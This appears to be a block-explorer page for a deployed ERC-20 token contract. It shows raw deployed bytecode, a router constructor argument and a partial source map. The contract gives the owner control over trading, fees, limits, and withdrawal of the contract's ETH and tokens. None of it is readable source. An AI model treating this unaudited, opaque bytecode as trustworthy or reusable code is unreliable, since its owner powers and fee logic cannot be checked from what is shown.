7b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611c745784516001600160a01b031683529383019391830191600101611c4f565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205d08e34195cbf411ae74022a76ef5f293c64cf64ea1099d1030a335e2af02a5a64736f6c634300081900330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

Deployed Bytecode

0x60806040526004361061013f575f3560e01c8063722b62ad116100b3578063bf474bed1161006d578063bf474bed14610388578063c876d0b91461039d578063dd62ed3e146103b6578063e22c69d2146103fa578063ea414b2814610419578063f68ec77414610438575f80fd5b8063722b62ad146102d45780637d1db4a5146102ed5780638da5cb5b146103025780638f9a55c01461032857806395d89b411461033d578063a9059cbb14610369575f80fd5b806320369b3f1161010457806320369b3f1461020e57806323b872dd1461022d578063313ce5671461024c57806332489e9b1461026d57806370a082311461028c578063715018a6146102c0575f80fd5b806306fdde031461014a578063095ea7b3146101925780630faee56f146101c157806318160ddd146101e45780631f6bebc0146101f8575f80fd5b3661014657005b5f80fd5b348015610155575f80fd5b5060408051808201909152600e81526d13995a5c9bc814dd185b99185c9960921b60208201525b60405161018991906118cf565b60405180910390f35b34801561019d575f80fd5b506101b16101ac366004611918565b61044c565b6040519015158152602001610189565b3480156101cc575f80fd5b506101d660115481565b604051908152602001610189565b3480156101ef575f80fd5b506101d6610462565b348015610203575f80fd5b5061020c610483565b005b348015610219575f80fd5b5061020c610228366004611918565b61081e565b348015610238575f80fd5b506101b1610247366004611942565b61095e565b348015610257575f80fd5b5060095b60405160ff9091168152602001610189565b348015610278575f80fd5b5061020c610287366004611980565b6109c1565b348015610297575f80fd5b506101d66102a6366004611980565b6001600160a01b03165f9081526001602052604090205490565b3480156102cb575f80fd5b5061020c610a89565b3480156102df575f80fd5b5060155461025b9060ff1681565b3480156102f8575f80fd5b506101d6600e5481565b34801561030d575f80fd5b505f546040516001600160a01b039091168152602001610189565b348015610333575f80fd5b506101d6600f5481565b348015610348575f80fd5b50604080518082019091526004815263272120a960e11b602082015261017c565b348015610374575f80fd5b506101b1610383366004611918565b610afa565b348015610393575f80fd5b506101d660105481565b3480156103a8575f80fd5b506005546101b19060ff1681565b3480156103c1575f80fd5b506101d66103d036600461199b565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610405575f80fd5b5061020c6104143660046119d2565b610b06565b348015610424575f80fd5b5061020c610433366004611980565b610b55565b348015610443575f80fd5b5061020c610bbc565b5f610458338484610c27565b5060015b92915050565b5f61046f6009600a611add565b61047e906461f313f880611aeb565b905090565b5f546001600160a01b031633146104b55760405162461bcd60e51b81526004016104ac90611b02565b60405180910390fd5b601354600160a01b900460ff161561050f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104ac565b6012546105419030906001600160a01b031661052d6009600a611add565b61053c906461f313f880611aeb565b610c27565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610591573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105b59190611b37565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610614573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106389190611b37565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610682573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106a69190611b37565b601380546001600160a01b039283166001600160a01b03199091161790556012541663f305d71947306106ed816001600160a01b03165f9081526001602052604090205490565b5f806107005f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610766573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061078b9190611b52565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156107e0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108049190611b7d565b506013805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146108475760405162461bcd60e51b81526004016104ac90611b02565b6040516370a0823160e01b81523060048201525f906108c8906064906108c29085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610898573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108bc9190611b9c565b90610d4b565b90610dc9565b9050826001600160a01b031663a9059cbb6108ea5f546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610934573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109589190611b7d565b50505050565b5f61096a848484610e0a565b6109b6843361053c85604051806060016040528060288152602001611c96602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611046565b5060015b9392505050565b5f546001600160a01b031633146109ea5760405162461bcd60e51b81526004016104ac90611b02565b6109f66009600a611add565b610a05906461f313f880611aeb565b600e55610a146009600a611add565b610a23906461f313f880611aeb565b600f556005805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf610a5d6009600a611add565b610a6c906461f313f880611aeb565b60405190815260200160405180910390a1610a8681610b55565b50565b5f546001600160a01b03163314610ab25760405162461bcd60e51b81526004016104ac90611b02565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f610458338484610e0a565b5f546001600160a01b03163314610b2f5760405162461bcd60e51b81526004016104ac90611b02565b6008548111158015610b4357506009548111155b610b4b575f80fd5b6008819055600955565b5f546001600160a01b03163314610b7e5760405162461bcd60e51b81526004016104ac90611b02565b60058054610100600160a81b0319166101006001600160a01b03939093169283021790555f908152600360205260409020805460ff19166001179055565b5f546001600160a01b03163314610be55760405162461bcd60e51b81526004016104ac90611b02565b5f4711610bf0575f80fd5b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610a86573d5f803e3d5ffd5b6001600160a01b038316610c895760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104ac565b6001600160a01b038216610cea5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104ac565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f825f03610d5a57505f61045c565b5f610d658385611aeb565b905082610d728583611bb3565b146109ba5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104ac565b5f6109ba83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061107e565b6001600160a01b038316610e6e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104ac565b6001600160a01b038216610ed05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104ac565b5f8111610f315760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104ac565b601354600160a01b900460ff161580610f535750601354600160a81b900460ff165b15610fad576001600160a01b0383165f9081526003602052604090205460ff1680610f9557506001600160a01b0382165f9081526003602052604090205460ff165b610f9d575f80fd5b610fa88383836110aa565b505050565b5f610fb984848461117c565b9050610fe6610fc88383611593565b6001600160a01b0385165f90815260016020526040902054906115d4565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61102f8585611593565b60405190815260200160405180910390a350505050565b5f81848411156110695760405162461bcd60e51b81526004016104ac91906118cf565b505f6110758486611bd2565b95945050505050565b5f818361109e5760405162461bcd60e51b81526004016104ac91906118cf565b505f6110758486611bb3565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386165f908152600190915291909120546110fb918390611046565b6001600160a01b038085165f90815260016020526040808220939093559084168152205461112990826115d4565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d3e9085815260200190565b6001600160a01b0383165f90815260036020526040812054819060ff16806111bb57506001600160a01b0384165f9081526003602052604090205460ff165b90506111ce5f546001600160a01b031690565b6001600160a01b0316856001600160a01b0316141580156111fc57505f546001600160a01b03858116911614155b156114d95761122760646108c2600a54600d541161121c57600654611220565b6008545b8690610d4b565b60055490925060ff16156112435761123e84611632565b61128a565b6001600160a01b0384165f9081526003602052604090205460ff168015611268575060015b1561128a57506001600160a01b0384165f9081526003602052604090205460ff165b6013546001600160a01b0386811691161480156112b557506012546001600160a01b03858116911614155b80156112d957506001600160a01b0384165f9081526003602052604090205460ff16155b156113bf57600e548311156113305760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104ac565b600f5483611352866001600160a01b03165f9081526001602052604090205490565b61135c9190611be5565b11156113aa5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104ac565b600d8054905f6113b983611bf8565b91905055505b6013546001600160a01b0385811691161480156113e557506001600160a01b0385163014155b156114125761140f60646108c2600b54600d541161140557600754611220565b6009548690610d4b565b91505b601354600160a81b900460ff1615801561143957506013546001600160a01b038581169116145b801561144e5750601354600160b01b900460ff165b801561145d5750600c54600d54115b156114d957305f90815260016020526040902054600854600954611482908590611aeb565b14801561148c5750815b156114a757600d5461149e9080611bd2565b925050506109ba565b6010548111156114ce576114ce6114c9856114c48460115461170c565b61170c565b611720565b6114d747611890565b505b811561155157305f908152600160205260409020546114f890836115d4565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115489086815260200190565b60405180910390a35b6001600160a01b0385165f908152600160205260409020546115739084611593565b6001600160a01b0386165f90815260016020526040902055509392505050565b5f6109ba83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611046565b5f806115e08385611be5565b9050838110156109ba5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104ac565b6012546001600160a01b0382811691161480159061165e57506013546001600160a01b03828116911614155b15610a8657325f9081526004602052604090205443116116f85760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a4016104ac565b325f90815260046020526040902043905550565b5f81831161171a57826109ba565b50919050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061176657611766611c10565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156117bd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906117e19190611b37565b816001815181106117f4576117f4611c10565b6001600160a01b03928316602091820292909201015260125461181a9130911684610c27565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906118529085905f90869030904290600401611c24565b5f604051808303815f87803b158015611869575f80fd5b505af115801561187b573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6005546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f193505050501580156118cb573d5f803e3d5ffd5b5050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610a86575f80fd5b5f8060408385031215611929575f80fd5b823561193481611904565b946020939093013593505050565b5f805f60608486031215611954575f80fd5b833561195f81611904565b9250602084013561196f81611904565b929592945050506040919091013590565b5f60208284031215611990575f80fd5b81356109ba81611904565b5f80604083850312156119ac575f80fd5b82356119b781611904565b915060208301356119c781611904565b809150509250929050565b5f602082840312156119e2575f80fd5b5035919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115611a3757815f1904821115611a1d57611a1d6119e9565b80851615611a2a57918102915b93841c9390800290611a02565b509250929050565b5f82611a4d5750600161045c565b81611a5957505f61045c565b8160018114611a6f5760028114611a7957611a95565b600191505061045c565b60ff841115611a8a57611a8a6119e9565b50506001821b61045c565b5060208310610133831016604e8410600b8410161715611ab8575081810a61045c565b611ac283836119fd565b805f1904821115611ad557611ad56119e9565b029392505050565b5f6109ba60ff841683611a3f565b808202811582820484141761045c5761045c6119e9565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611b47575f80fd5b81516109ba81611904565b5f805f60608486031215611b64575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611b8d575f80fd5b815180151581146109ba575f80fd5b5f60208284031215611bac575f80fd5b5051919050565b5f82611bcd57634e487b7160e01b5f52601260045260245ffd5b500490565b8181038181111561045c5761045c6119e9565b8082018082111561045c5761045c6119e9565b5f60018201611c0957611c096119e9565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611c745784516001600160a01b031683529383019391830191600101611c4f565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205d08e34195cbf411ae74022a76ef5f293c64cf64ea1099d1030a335e2af02a5a64736f6c63430008190033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

-----Decoded View---------------
Arg [0] : router_ (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d


Deployed Bytecode Sourcemap

3601:9248:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5664:83;;;;;;;;;;-1:-1:-1;5734:5:0;;;;;;;;;;;;-1:-1:-1;;;5734:5:0;;;;5664:83;;;;;;;:::i;:::-;;;;;;;;6497:161;;;;;;;;;;-1:-1:-1;6497:161:0;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;6497:161:0;893:187:1;4742:46:0;;;;;;;;;;;;;;;;;;;1231:25:1;;;1219:2;1204:18;4742:46:0;1085:177:1;5941:95:0;;;;;;;;;;;;;:::i;8652:582::-;;;;;;;;;;;;;:::i;:::-;;8372:272;;;;;;;;;;-1:-1:-1;8372:272:0;;;;;:::i;:::-;;:::i;6666:291::-;;;;;;;;;;-1:-1:-1;6666:291:0;;;;;:::i;:::-;;:::i;5850:83::-;;;;;;;;;;-1:-1:-1;4376:1:0;5850:83;;;1900:4:1;1888:17;;;1870:36;;1858:2;1843:18;5850:83:0;1728:184:1;12541:268:0;;;;;;;;;;-1:-1:-1;12541:268:0;;;;;:::i;:::-;;:::i;6044:119::-;;;;;;;;;;-1:-1:-1;6044:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6137:18:0;6110:7;6137:18;;;:9;:18;;;;;;;6044:119;2682:148;;;;;;;;;;;;;:::i;5048:38::-;;;;;;;;;;-1:-1:-1;5048:38:0;;;;;;;;4573:47;;;;;;;;;;;;;;;;2468:79;;;;;;;;;;-1:-1:-1;2506:7:0;2533:6;2468:79;;-1:-1:-1;;;;;2533:6:0;;;2575:51:1;;2563:2;2548:18;2468:79:0;2429:203:1;4627:49:0;;;;;;;;;;;;;;;;5755:87;;;;;;;;;;-1:-1:-1;5827:7:0;;;;;;;;;;;;-1:-1:-1;;;5827:7:0;;;;5755:87;;6171:167;;;;;;;;;;-1:-1:-1;6171:167:0;;;;;:::i;:::-;;:::i;4683:52::-;;;;;;;;;;;;;;;;3940:32;;;;;;;;;;-1:-1:-1;3940:32:0;;;;;;;;6346:143;;;;;;;;;;-1:-1:-1;6346:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6454:18:0;;;6427:7;6454:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6346:143;10049:192;;;;;;;;;;-1:-1:-1;10049:192:0;;;;;:::i;:::-;;:::i;9403:157::-;;;;;;;;;;-1:-1:-1;9403:157:0;;;;;:::i;:::-;;:::i;9242:153::-;;;;;;;;;;;;;:::i;6497:161::-;6572:4;6589:39;303:10;6612:7;6621:6;6589:8;:39::i;:::-;-1:-1:-1;6646:4:0;6497:161;;;;;:::o;5941:95::-;5994:7;4437:13;4376:1;4437:2;:13;:::i;:::-;4419:31;;:15;:31;:::i;:::-;6014:14;;5941:95;:::o;8652:582::-;2595:6;;-1:-1:-1;;;;;2595:6:0;303:10;2595:22;2587:67;;;;-1:-1:-1;;;2587:67:0;;;;;;;:::i;:::-;;;;;;;;;8718:11:::1;::::0;-1:-1:-1;;;8718:11:0;::::1;;;8717:12;8709:47;;;::::0;-1:-1:-1;;;8709:47:0;;5460:2:1;8709:47:0::1;::::0;::::1;5442:21:1::0;5499:2;5479:18;;;5472:30;5538:25;5518:18;;;5511:53;5581:18;;8709:47:0::1;5258:347:1::0;8709:47:0::1;8799:15;::::0;8767:58:::1;::::0;8784:4:::1;::::0;-1:-1:-1;;;;;8799:15:0::1;4437:13;4376:1;4437:2;:13;:::i;:::-;4419:31;::::0;:15:::1;:31;:::i;:::-;8767:8;:58::i;:::-;8870:15;;;;;;;;;-1:-1:-1::0;;;;;8870:15:0::1;-1:-1:-1::0;;;;;8870:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8852:55:0::1;;8916:4;8923:15;;;;;;;;;-1:-1:-1::0;;;;;8923:15:0::1;-1:-1:-1::0;;;;;8923:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8852:94;::::0;-1:-1:-1;;;;;;8852:94:0::1;::::0;;;;;;-1:-1:-1;;;;;6096:15:1;;;8852:94:0::1;::::0;::::1;6078:34:1::0;6148:15;;6128:18;;;6121:43;6013:18;;8852:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8836:13;:110:::0;;-1:-1:-1;;;;;8836:110:0;;::::1;-1:-1:-1::0;;;;;;8836:110:0;;::::1;;::::0;;8957:15:::1;::::0;::::1;:31;8996:21;9027:4;9033:24;9027:4:::0;-1:-1:-1;;;;;6137:18:0;6110:7;6137:18;;;:9;:18;;;;;;;6044:119;9033:24:::1;9058:1;9060::::0;9062:7:::1;2506::::0;2533:6;-1:-1:-1;;;;;2533:6:0;;2468:79;9062:7:::1;8957:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;8957:129:0;;;-1:-1:-1;;;;;6534:15:1;;;8957:129:0::1;::::0;::::1;6516:34:1::0;6566:18;;;6559:34;;;;6609:18;;;6602:34;;;;6652:18;;;6645:34;6716:15;;;6695:19;;;6688:44;9070:15:0::1;6748:19:1::0;;;6741:35;6450:19;;8957:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;9104:13:0::1;::::0;9135:15:::1;::::0;9097:71:::1;::::0;-1:-1:-1;;;9097:71:0;;-1:-1:-1;;;;;9135:15:0;;::::1;9097:71;::::0;::::1;7272:51:1::0;-1:-1:-1;;7339:18:1;;;7332:34;9104:13:0;::::1;::::0;-1:-1:-1;9097:29:0::1;::::0;7245:18:1;;9097:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;9179:11:0::1;:18:::0;;-1:-1:-1;;;;9208:18:0;-1:-1:-1;;;9208:18:0;;;8652:582::o;8372:272::-;2595:6;;-1:-1:-1;;;;;2595:6:0;303:10;2595:22;2587:67;;;;-1:-1:-1;;;2587:67:0;;;;;;;:::i;:::-;8477:55:::1;::::0;-1:-1:-1;;;8477:55:0;;8526:4:::1;8477:55;::::0;::::1;2575:51:1::0;8459:15:0::1;::::0;8477:105:::1;::::0;8578:3:::1;::::0;8477:82:::1;::::0;8551:7;;-1:-1:-1;;;;;8477:40:0;::::1;::::0;::::1;::::0;2548:18:1;;8477:55:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:73:::0;::::1;:82::i;:::-;:100:::0;::::1;:105::i;:::-;8459:123;;8600:8;-1:-1:-1::0;;;;;8593:25:0::1;;8619:7;2506::::0;2533:6;-1:-1:-1;;;;;2533:6:0;;2468:79;8619:7:::1;8593:43;::::0;-1:-1:-1;;;;;;8593:43:0::1;::::0;;;;;;-1:-1:-1;;;;;7290:32:1;;;8593:43:0::1;::::0;::::1;7272:51:1::0;7339:18;;;7332:34;;;7245:18;;8593:43:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;8448:196;8372:272:::0;;:::o;6666:291::-;6755:4;6772:27;6782:4;6788:2;6792:6;6772:9;:27::i;:::-;6810:117;6819:4;303:10;6839:87;6875:6;6839:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6839:17:0;;;;;;:11;:17;;;;;;;;303:10;6839:31;;;;;;;;;;:35;:87::i;6810:117::-;-1:-1:-1;6945:4:0;6666:291;;;;;;:::o;12541:268::-;2595:6;;-1:-1:-1;;;;;2595:6:0;303:10;2595:22;2587:67;;;;-1:-1:-1;;;2587:67:0;;;;;;;:::i;:::-;4437:13:::1;4376:1;4437:2;:13;:::i;:::-;4419:31;::::0;:15:::1;:31;:::i;:::-;12623:12;:22:::0;4437:13:::1;4376:1;4437:2;:13;:::i;:::-;4419:31;::::0;:15:::1;:31;:::i;:::-;12656:14;:24:::0;12691:20:::1;:28:::0;;-1:-1:-1;;12691:28:0::1;::::0;;12735:27:::1;4437:13;4376:1;-1:-1:-1::0;4437:13:0::1;:::i;:::-;4419:31;::::0;:15:::1;:31;:::i;:::-;12735:27;::::0;1231:25:1;;;1219:2;1204:18;12735:27:0::1;;;;;;;12775:26;12788:12;12775;:26::i;:::-;12541:268:::0;:::o;2682:148::-;2595:6;;-1:-1:-1;;;;;2595:6:0;303:10;2595:22;2587:67;;;;-1:-1:-1;;;2587:67:0;;;;;;;:::i;:::-;2789:1:::1;2773:6:::0;;2752:40:::1;::::0;-1:-1:-1;;;;;2773:6:0;;::::1;::::0;2752:40:::1;::::0;2789:1;;2752:40:::1;2820:1;2803:19:::0;;-1:-1:-1;;;;;;2803:19:0::1;::::0;;2682:148::o;6171:167::-;6249:4;6266:42;303:10;6290:9;6301:6;6266:9;:42::i;10049:192::-;2595:6;;-1:-1:-1;;;;;2595:6:0;303:10;2595:22;2587:67;;;;-1:-1:-1;;;2587:67:0;;;;;;;:::i;:::-;10131:12:::1;;10122:7;:21;;:47;;;;;10156:13;;10147:7;:22;;10122:47;10114:56;;;::::0;::::1;;10181:12;:20:::0;;;10212:13:::1;:21:::0;10049:192::o;9403:157::-;2595:6;;-1:-1:-1;;;;;2595:6:0;303:10;2595:22;2587:67;;;;-1:-1:-1;;;2587:67:0;;;;;;;:::i;:::-;9475:10:::1;:34:::0;;-1:-1:-1;;;;;;9475:34:0::1;;-1:-1:-1::0;;;;;9475:34:0;;;::::1;::::0;;::::1;;::::0;;-1:-1:-1;9520:25:0;;;:11:::1;:25;::::0;;;;:32;;-1:-1:-1;;9520:32:0::1;-1:-1:-1::0;9520:32:0::1;::::0;;9403:157::o;9242:153::-;2595:6;;-1:-1:-1;;;;;2595:6:0;303:10;2595:22;2587:67;;;;-1:-1:-1;;;2587:67:0;;;;;;;:::i;:::-;9326:1:::1;9302:21;:25;9294:34;;;::::0;::::1;;2506:7:::0;2533:6;;9339:48:::1;::::0;-1:-1:-1;;;;;2533:6:0;;;;9365:21:::1;9339:48:::0;::::1;;;::::0;9365:21;;9339:48;2506:7;9339:48;9365:21;2533:6;9339:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;6965:335:::0;-1:-1:-1;;;;;7058:19:0;;7050:68;;;;-1:-1:-1;;;7050:68:0;;8050:2:1;7050:68:0;;;8032:21:1;8089:2;8069:18;;;8062:30;8128:34;8108:18;;;8101:62;-1:-1:-1;;;8179:18:1;;;8172:34;8223:19;;7050:68:0;7848:400:1;7050:68:0;-1:-1:-1;;;;;7137:21:0;;7129:68;;;;-1:-1:-1;;;7129:68:0;;8455:2:1;7129:68:0;;;8437:21:1;8494:2;8474:18;;;8467:30;8533:34;8513:18;;;8506:62;-1:-1:-1;;;8584:18:1;;;8577:32;8626:19;;7129:68:0;8253:398:1;7129:68:0;-1:-1:-1;;;;;7208:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7260:32;;1231:25:1;;;7260:32:0;;1204:18:1;7260:32:0;;;;;;;;6965:335;;;:::o;1558:246::-;1616:7;1640:1;1645;1640:6;1636:47;;-1:-1:-1;1670:1:0;1663:8;;1636:47;1693:9;1705:5;1709:1;1705;:5;:::i;:::-;1693:17;-1:-1:-1;1738:1:0;1729:5;1733:1;1693:17;1729:5;:::i;:::-;:10;1721:56;;;;-1:-1:-1;;;1721:56:0;;9080:2:1;1721:56:0;;;9062:21:1;9119:2;9099:18;;;9092:30;9158:34;9138:18;;;9131:62;-1:-1:-1;;;9209:18:1;;;9202:31;9250:19;;1721:56:0;8878:397:1;1812:132:0;1870:7;1897:39;1901:1;1904;1897:39;;;;;;;;;;;;;;;;;:3;:39::i;7308:682::-;-1:-1:-1;;;;;7396:18:0;;7388:68;;;;-1:-1:-1;;;7388:68:0;;9482:2:1;7388:68:0;;;9464:21:1;9521:2;9501:18;;;9494:30;9560:34;9540:18;;;9533:62;-1:-1:-1;;;9611:18:1;;;9604:35;9656:19;;7388:68:0;9280:401:1;7388:68:0;-1:-1:-1;;;;;7475:16:0;;7467:64;;;;-1:-1:-1;;;7467:64:0;;9888:2:1;7467:64:0;;;9870:21:1;9927:2;9907:18;;;9900:30;9966:34;9946:18;;;9939:62;-1:-1:-1;;;10017:18:1;;;10010:33;10060:19;;7467:64:0;9686:399:1;7467:64:0;7559:1;7550:6;:10;7542:64;;;;-1:-1:-1;;;7542:64:0;;10292:2:1;7542:64:0;;;10274:21:1;10331:2;10311:18;;;10304:30;10370:34;10350:18;;;10343:62;-1:-1:-1;;;10421:18:1;;;10414:39;10470:19;;7542:64:0;10090:405:1;7542:64:0;7631:11;;-1:-1:-1;;;7631:11:0;;;;7630:12;;:22;;-1:-1:-1;7646:6:0;;-1:-1:-1;;;7646:6:0;;;;7630:22;7627:167;;;-1:-1:-1;;;;;7677:17:0;;;;;;:11;:17;;;;;;;;;:36;;-1:-1:-1;;;;;;7698:15:0;;;;;;:11;:15;;;;;;;;7677:36;7669:45;;;;;;7729:32;7744:4;7750:2;7754:6;7729:14;:32::i;:::-;7308:682;;;:::o;7627:167::-;7814:17;7834:26;7843:4;7849:2;7853:6;7834:8;:26::i;:::-;7814:46;-1:-1:-1;7885:40:0;7903:21;:6;7814:46;7903:10;:21::i;:::-;-1:-1:-1;;;;;7885:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;7871:13:0;;;;;;;:9;:13;;;;;:54;;;;7941:41;;;7960:21;:6;7971:9;7960:10;:21::i;:::-;7941:41;;1231:25:1;;;1219:2;1204:18;7941:41:0;;;;;;;7377:613;7308:682;;;:::o;1360:190::-;1446:7;1482:12;1474:6;;;;1466:29;;;;-1:-1:-1;;;1466:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1506:9:0;1518:5;1522:1;1518;:5;:::i;:::-;1506:17;1360:190;-1:-1:-1;;;;;1360:190:0:o;1952:189::-;2038:7;2073:12;2066:5;2058:28;;;;-1:-1:-1;;;2058:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2097:9:0;2109:5;2113:1;2109;:5;:::i;7998:256::-;8101:51;;;;;;;;;;;-1:-1:-1;;;8101:51:0;;;;;;;;-1:-1:-1;;;;;8101:15:0;;-1:-1:-1;8101:15:0;;;:9;:15;;;;;;;;:51;;8121:6;;8101:19;:51::i;:::-;-1:-1:-1;;;;;8083:15:0;;;;;;;:9;:15;;;;;;:69;;;;8179:13;;;;;;;:25;;8197:6;8179:17;:25::i;:::-;-1:-1:-1;;;;;8163:13:0;;;;;;;:9;:13;;;;;;;:41;;;;8220:26;;;;;;;;;;8239:6;1231:25:1;;1219:2;1204:18;;1085:177;10249:1733:0;-1:-1:-1;;;;;10371:18:0;;10328:13;10371:18;;;:11;:18;;;;;;10328:13;;10371:18;;;:40;;-1:-1:-1;;;;;;10393:18:0;;;;;;:11;:18;;;;;;;;10371:40;10354:57;;10435:7;2506